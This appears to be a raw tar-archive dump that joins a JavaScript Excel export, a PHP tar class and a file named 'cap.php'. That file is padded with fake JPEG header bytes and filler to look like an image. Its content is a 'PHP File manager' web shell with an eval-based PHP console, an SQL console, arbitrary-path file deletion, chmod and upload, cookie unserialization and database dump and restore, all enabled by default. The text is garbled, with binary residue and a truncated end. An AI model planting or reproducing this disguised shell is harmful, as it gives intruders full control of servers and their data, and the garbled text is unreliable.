    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiE